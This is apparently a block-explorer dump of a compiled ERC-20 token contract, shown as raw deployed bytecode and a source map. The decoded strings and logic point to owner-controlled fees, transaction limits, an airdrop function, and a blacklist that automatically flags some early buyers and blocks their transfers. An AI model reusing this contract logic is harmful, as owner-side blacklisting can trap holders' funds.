5b60405180910390fd5b8091505092915050565b600061222183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612e92565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036122a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612297906141b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361230f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230690614245565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516123ed9190613a58565b60405180910390a3505050565b6000612485826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612de49092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251a82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218190919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125ba9190613a58565b60405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361263d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612634906142d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036126ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a390614369565b60405180910390fd5b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561273c575061270c6111b7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156127555750600c60009054906101000a900460ff16155b156127fd576000601f540361277957602054426127729190613eef565b601f819055505b42601f5411156127e0576001600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506127fc565b6001600c60006101000a81548160ff0219169083151502179055505b5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128a15750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6128e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128d7906143d5565b60405180910390fd5b601e60149054906101000a900460ff1615612907576129008484846123fa565b9050612ddd565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129ab5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129f657601a548211156129f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ec90614467565b60405180910390fd5b5b6000612a013061115c565b90506000601c548210159050808015612a275750601e60149054906101000a900460ff16155b8015612a7d5750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612a955750601e60159054906101000a900460ff165b15612abf57601e60169054906101000a900460ff1615612ab557601c5491505b612abe82612ef5565b5b612b48846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612de49092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c2e5750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c4257612c3d8787876130e6565b612c44565b845b9050601e60179054906101000a900460ff168015612cac5750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612cdb57601b54612ccf82612cc18961115c565b61218190919063ffffffff16565b1115612cda57600080fd5b5b612d2d81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612dcd9190613a58565b60405180910390a3600193505050505b9392505050565b6000838311158290612e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e2391906137c3565b60405180910390fd5b5060008385612e3b9190614487565b9050809150509392505050565b6000612e8a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612de4565b905092915050565b60008083118290612ed9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed091906137c3565b60405180910390fd5b5060008385612ee891906144ea565b9050809150509392505050565b6001601e60146101000a81548160ff0219169083151502179055506000612f4e6002612f40601854612f326013548761330d90919063ffffffff16565b6121df90919063ffffffff16565b6121df90919063ffffffff16565b90506000612f658284612e4890919063ffffffff16565b9050612f7081613387565b60004790506000612fa1612f9060026013546121df90919063ffffffff16565b601854612e4890919063ffffffff16565b90506000612fdf6002612fd184612fc36013548861330d90919063ffffffff16565b6121df90919063ffffffff16565b6121df90919063ffffffff16565b9050600061300a83612ffc6015548761330d90919063ffffffff16565b6121df90919063ffffffff16565b90506000613033826130258588612e4890919063ffffffff16565b612e4890919063ffffffff16565b9050600081111561306b5761306a600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613603565b5b60008211156130a1576130a0600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613603565b5b6000831180156130b15750600087115b156130c1576130c0878461364e565b5b505050505050506000601e60146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561316e5761316760646131596016548661330d90919063ffffffff16565b6121df90919063ffffffff16565b90506131ec565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156131eb576131e860646131da6017548661330d90919063ffffffff16565b6121df90919063ffffffff16565b90505b5b60008111156132f05761324781600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218190919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132e79190613a58565b60405180910390a35b6133038184612e4890919063ffffffff16565b9150509392505050565b600080830361331f5760009050613381565b6000828461332d919061451b565b905082848261333c91906144ea565b1461337c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613373906145e7565b60405180910390fd5b809150505b92915050565b6000600267ffffffffffffffff8111156133a4576133a3614607565b5b6040519080825280602002602001820160405280156133d25781602001602082028036833780820191505090505b50905030816000815181106133ea576133e9613e91565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613491573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134b5919061464b565b816001815181106134c9576134c8613e91565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061353030601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612231565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161359495949392919061477b565b600060405180830381600087803b1580156135ae57600080fd5b505af11580156135c2573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516135f79291906147d5565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613649573d6000803e3d6000fd5b505050565b61367b30601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612231565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806136c76111b7565b426040518863ffffffff1660e01b81526004016136e996959493929190614805565b60606040518083038185885af1158015613707573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061372c919061487b565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561376d578082015181840152602081019050613752565b60008484015250505050565b6000601f19601f8301169050919050565b600061379582613733565b61379f818561373e565b93506137af81856020860161374f565b6137b881613779565b840191505092915050565b600060208201905081810360008301526137dd818461378a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061381a826137ef565b9050919050565b61382a8161380f565b811461383557600080fd5b50565b60008135905061384781613821565b92915050565b6000819050919050565b6138608161384d565b811461386b57600080fd5b50565b60008135905061387d81613857565b92915050565b6000806040838503121561389a576138996137e5565b5b60006138a885828601613838565b92505060206138b98582860161386e565b9150509250929050565b60008115159050919050565b6138d8816138c3565b82525050565b60006020820190506138f360008301846138cf565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261391e5761391d6138f9565b5b8235905067ffffffffffffffff81111561393b5761393a6138fe565b5b60208301915083602082028301111561395757613956613903565b5b9250929050565b60008083601f840112613974576139736138f9565b5b8235905067ffffffffffffffff811115613991576139906138fe565b5b6020830191508360208202830111156139ad576139ac613903565b5b9250929050565b6000806000806000606086880312156139d0576139cf6137e5565b5b60006139de88828901613838565b955050602086013567ffffffffffffffff8111156139ff576139fe6137ea565b5b613a0b88828901613908565b9450945050604086013567ffffffffffffffff811115613a2e57613a2d6137ea565b5b613a3a8882890161395e565b92509250509295509295909350565b613a528161384d565b82525050565b6000602082019050613a6d6000830184613a49565b92915050565b600080600060608486031215613a8c57613a8b6137e5565b5b6000613a9a8682870161386e565b9350506020613aab8682870161386e565b9250506040613abc8682870161386e565b9150509250925092565b613acf816138c3565b8114613ada57600080fd5b50565b600081359050613aec81613ac6565b92915050565b60008060408385031215613b0957613b086137e5565b5b6000613b1785828601613838565b9250506020613b2885828601613add565b9150509250929050565b600080600060608486031215613b4b57613b4a6137e5565b5b6000613b5986828701613838565b9350506020613b6a86828701613838565b9250506040613b7b8682870161386e565b9150509250925092565b600060208284031215613b9b57613b9a6137e5565b5b6000613ba984828501613add565b91505092915050565b600060ff82169050919050565b613bc881613bb2565b82525050565b6000602082019050613be36000830184613bbf565b92915050565b600060208284031215613bff57613bfe6137e5565b5b6000613c0d8482850161386e565b91505092915050565b600060208284031215613c2c57613c2b6137e5565b5b6000613c3a84828501613838565b91505092915050565b613c4c8161380f565b82525050565b6000602082019050613c676000830184613c43565b92915050565b600080600060408486031215613c8657613c856137e5565b5b600084013567ffffffffffffffff811115613ca457613ca36137ea565b5b613cb086828701613908565b93509350506020613cc386828701613add565b9150509250925092565b60008060408385031215613ce457613ce36137e5565b5b6000613cf285828601613838565b9250506020613d0385828601613838565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613d5457607f821691505b602082108103613d6757613d66613d0d565b5b50919050565b7f474153204572726f723a206d61782061697264726f70206c696d69742069732060008201527f3530302061646472657373657300000000000000000000000000000000000000602082015250565b6000613dc9602d8361373e565b9150613dd482613d6d565b604082019050919050565b60006020820190508181036000830152613df881613dbc565b9050919050565b7f4d69736d61746368206265747765656e204164647265737320616e6420746f6b60008201527f656e20636f756e74000000000000000000000000000000000000000000000000602082015250565b6000613e5b60288361373e565b9150613e6682613dff565b604082019050919050565b60006020820190508181036000830152613e8a81613e4e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613efa8261384d565b9150613f058361384d565b9250828201905080821115613f1d57613f1c613ec0565b5b92915050565b6000613f2e8261384d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613f6057613f5f613ec0565b5b600182019050919050565b7f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c65740000000000600082015250565b6000613fa1601b8361373e565b9150613fac82613f6b565b602082019050919050565b60006020820190508181036000830152613fd081613f94565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061400d60208361373e565b915061401882613fd7565b602082019050919050565b6000602082019050818103600083015261403c81614000565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061409f60268361373e565b91506140aa82614043565b604082019050919050565b600060208201905081810360008301526140ce81614092565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061410b601b8361373e565b9150614116826140d5565b602082019050919050565b6000602082019050818103600083015261413a816140fe565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061419d60248361373e565b91506141a882614141565b604082019050919050565b600060208201905081810360008301526141cc81614190565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061422f60228361373e565b915061423a826141d3565b604082019050919050565b6000602082019050818103600083015261425e81614222565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006142c160258361373e565b91506142cc82614265565b604082019050919050565b600060208201905081810360008301526142f0816142b4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061435360238361373e565b915061435e826142f7565b604082019050919050565b6000602082019050818103600083015261438281614346565b9050919050565b7f41646472657373206973204465636c696e656400000000000000000000000000600082015250565b60006143bf60138361373e565b91506143ca82614389565b602082019050919050565b600060208201905081810360008301526143ee816143b2565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b600061445160288361373e565b915061445c826143f5565b604082019050919050565b6000602082019050818103600083015261448081614444565b9050919050565b60006144928261384d565b915061449d8361384d565b92508282039050818111156144b5576144b4613ec0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006144f58261384d565b91506145008361384d565b9250826145105761450f6144bb565b5b828204905092915050565b60006145268261384d565b91506145318361384d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561456a57614569613ec0565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006145d160218361373e565b91506145dc82614575565b604082019050919050565b60006020820190508181036000830152614600816145c4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061464581613821565b92915050565b600060208284031215614661576146606137e5565b5b600061466f84828501614636565b91505092915050565b6000819050919050565b6000819050919050565b60006146a76146a261469d84614678565b614682565b61384d565b9050919050565b6146b78161468c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6146f28161380f565b82525050565b600061470483836146e9565b60208301905092915050565b6000602082019050919050565b6000614728826146bd565b61473281856146c8565b935061473d836146d9565b8060005b8381101561476e57815161475588826146f8565b975061476083614710565b925050600181019050614741565b5085935050505092915050565b600060a0820190506147906000830188613a49565b61479d60208301876146ae565b81810360408301526147af818661471d565b90506147be6060830185613c43565b6147cb6080830184613a49565b9695505050505050565b60006040820190506147ea6000830185613a49565b81810360208301526147fc818461471d565b90509392505050565b600060c08201905061481a6000830189613c43565b6148276020830188613a49565b61483460408301876146ae565b61484160608301866146ae565b61484e6080830185613c43565b61485b60a0830184613a49565b979650505050505050565b60008151905061487581613857565b92915050565b600080600060608486031215614894576148936137e5565b5b60006148a286828701614866565b93505060206148b386828701614866565b92505060406148c486828701614866565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203dbe8a02818cf664a6dbf5d6d218508488e94f84bdf42cc44c3191bd76fcadf664736f6c63430008100033

Deployed Bytecode Sourcemap

13660:14135:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17238:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18300:149;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26942:579;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17479:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19348:324;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19893:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21230:297;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19783:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20736:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15625:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17400:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17829:206;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20122:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;27710:80;;;;;;;;;;;;;:::i;:::-;;6431:82;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17575:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15219:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15273:48;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15076:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5871:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26538:190;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6060:133;;;;;;;;;;;;;:::i;:::-;;17317:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18039:257;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20242:206;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20615:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21071:155;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27525:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19028:316;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20452:159;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;27621:85;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17690:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19676:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18897:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15041:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26750:188;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20024:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6197:228;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18774:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14517:42;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17238:75;17275:13;17304:5;17297:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17238:75;:::o;18300:149::-;18375:4;18388:39;18397:12;:10;:12::i;:::-;18411:7;18420:6;18388:8;:39::i;:::-;18441:4;18434:11;;18300:149;;;;:::o;26942:579::-;27076:3;27057:9;;:16;;:22;27049:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;27163:6;;:13;;27143:9;;:16;;:33;27135:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;27229:12;27258:6;27254:82;27272:9;;:16;;27268:1;:20;27254:82;;;27319:6;;27326:1;27319:9;;;;;;;:::i;:::-;;;;;;;;27312:4;:16;;;;:::i;:::-;27305:23;;27290:3;;;;;:::i;:::-;;;;27254:82;;;;27371:4;27352:15;27362:4;27352:9;:15::i;:::-;:23;;27344:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;27420:6;27416:102;27434:9;;:16;;27430:1;:20;27416:102;;;27467:43;27482:4;27487:9;;27497:1;27487:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;27500:6;;27507:1;27500:9;;;;;;;:::i;:::-;;;;;;;;27467:14;:43::i;:::-;;27452:3;;;;;:::i;:::-;;;;27416:102;;;;27040:481;26942:579;;;;;:::o;17479:92::-;17532:7;17555:12;;17548:19;;17479:92;:::o;19348:324::-;5995:12;:10;:12::i;:::-;5985:22;;:6;;;;;;;;;;:22;;;5977:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;19491:15:::1;19471:17;:35;;;;19533:15;19513:17;:35;;;;19570:10;19555:12;:25;;;;19610:58;19655:12;;19610:40;19632:17;;19610;;:21;;:40;;;;:::i;:::-;:44;;:58;;;;:::i;:::-;19589:18;:79;;;;19348:324:::0;;;:::o;19893:127::-;5995:12;:10;:12::i;:::-;5985:22;;:6;;;;;;;;;;:22;;;5977:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;20010:6:::1;19980:19;:27;20000:6;19980:27;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;19893:127:::0;;:::o;21230:297::-;21328:4;21341:36;21351:6;21359:9;21370:6;21341:9;:36::i;:::-;;21384:121;21393:6;21401:12;:10;:12::i;:::-;21415:89;21453:6;21415:89;;;;;;;;;;;;;;;;;:11;:19;21427:6;21415:19;;;;;;;;;;;;;;;:33;21435:12;:10;:12::i;:::-;21415:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;21384:8;:121::i;:::-;21519:4;21512:11;;21230:297;;;;;:::o;19783:106::-;5995:12;:10;:12::i;:::-;5985:22;;:6;;;;;;;;;;:22;;;5977:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;19877:8:::1;19858:16;;:27;;;;;;;;;;;;;;;;;;19783:106:::0;:::o;20736:120::-;20789:7;20812:40;20829:22;20839:11;20829:9;:22::i;:::-;20812:12;;:16;;:40;;;;:::i;:::-;20805:47;;20736:120;:::o;15625:26::-;;;;:::o;17400:75::-;17441:5;17462:9;;;;;;;;;;;17455:16;;17400:75;:::o;17829:206::-;17917:4;17930:83;17939:12;:10;:12::i;:::-;17953:7;17962:50;18001:10;17962:11;:25;17974:12;:10;:12::i;:::-;17962:25;;;;;;;;;;;;;;;:34;17988:7;17962:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;17930:8;:83::i;:::-;18027:4;18020:11;;17829:206;;;;:::o;20122:116::-;5995:12;:10;:12::i;:::-;5985:22;;:6;;;;;;;;;;:22;;;5977:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;20226:8:::1;20200:23;:34;;;;20122:116:::0;:::o;27710:80::-;5995:12;:10;:12::i;:::-;5985:22;;:6;;;;;;;;;;:22;;;5977:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;27784:2:::1;27766:15;:20;;;;:::i;:::-;27756:7;:30;;;;27710:80::o:0;6431:82::-;6471:7;6494:15;6487:22;;6431:82;:::o;17575:111::-;17641:7;17664:9;:18;17674:7;17664:18;;;;;;;;;;;;;;;;17657:25;;17575:111;;;:::o;15219:50::-;;;;:::o;15273:48::-;;;;:::o;15076:33::-;;;;:::o;5871:71::-;5909:7;5932:6;;;;;;;;;;;5925:13;;5871:71;:::o;26538:190::-;5995:12;:10;:12::i;:::-;5985:22;;:6;;;;;;;;;;:22;;;5977:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;26636:9:::1;26631:94;26651:9;;:16;;26647:1;:20;26631:94;;;26711:6;26685:9;:23;26695:9;;26705:1;26695:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;26685:23;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;26669:3;;;;:::i;:::-;;;26631:94;;;;26538:190:::0;;;:::o;6060:133::-;5995:12;:10;:12::i;:::-;5985:22;;:6;;;;;;;;;;:22;;;5977:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6160:1:::1;6123:40;;6144:6;::::0;::::1;;;;;;;;6123:40;;;;;;;;;;;;6187:1;6170:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;6060:133::o:0;17317:79::-;17356:13;17385:7;17378:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17317:79;:::o;18039:257::-;18132:4;18145:129;18154:12;:10;:12::i;:::-;18168:7;18177:96;18216:15;18177:96;;;;;;;;;;;;;;;;;:11;:25;18189:12;:10;:12::i;:::-;18177:25;;;;;;;;;;;;;;;:34;18203:7;18177:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;18145:8;:129::i;:::-;18288:4;18281:11;;18039:257;;;;:::o;20242:206::-;5995:12;:10;:12::i;:::-;5985:22;;:6;;;;;;;;;;:22;;;5977:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;20377:21:::1;20351:15;;:48;;;;;;;;;;;;;;;;;;20427:15;20406:10;;:37;;;;;;;;;;;;;;;;;;20242:206:::0;;:::o;20615:117::-;5995:12;:10;:12::i;:::-;5985:22;;:6;;;;;;;;;;:22;;;5977:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;20720:8:::1;20692:25;;:36;;;;;;;;;;;;;;;;;;20615:117:::0;:::o;21071:155::-;21149:4;21162:42;21172:12;:10;:12::i;:::-;21186:9;21197:6;21162:9;:42::i;:::-;;21218:4;21211:11;;21071:155;;;;:::o;27525:92::-;5995:12;:10;:12::i;:::-;5985:22;;:6;;;;;;;;;;:22;;;5977:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;27603:10:::1;27591:9;:22;;;;27525:92:::0;:::o;19028:316::-;5995:12;:10;:12::i;:::-;5985:22;;:6;;;;;;;;;;:22;;;5977:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;19169:15:::1;19150:16;:34;;;;19210:15;19191:16;:34;;;;19246:10;19232:11;:24;;;;19285:55;19328:11;;19285:38;19306:16;;19285;;:20;;:38;;;;:::i;:::-;:42;;:55;;;;:::i;:::-;19265:17;:75;;;;19028:316:::0;;;:::o;20452:159::-;5995:12;:10;:12::i;:::-;5985:22;;:6;;;;;;;;;;:22;;;5977:67;;;;;;;;;;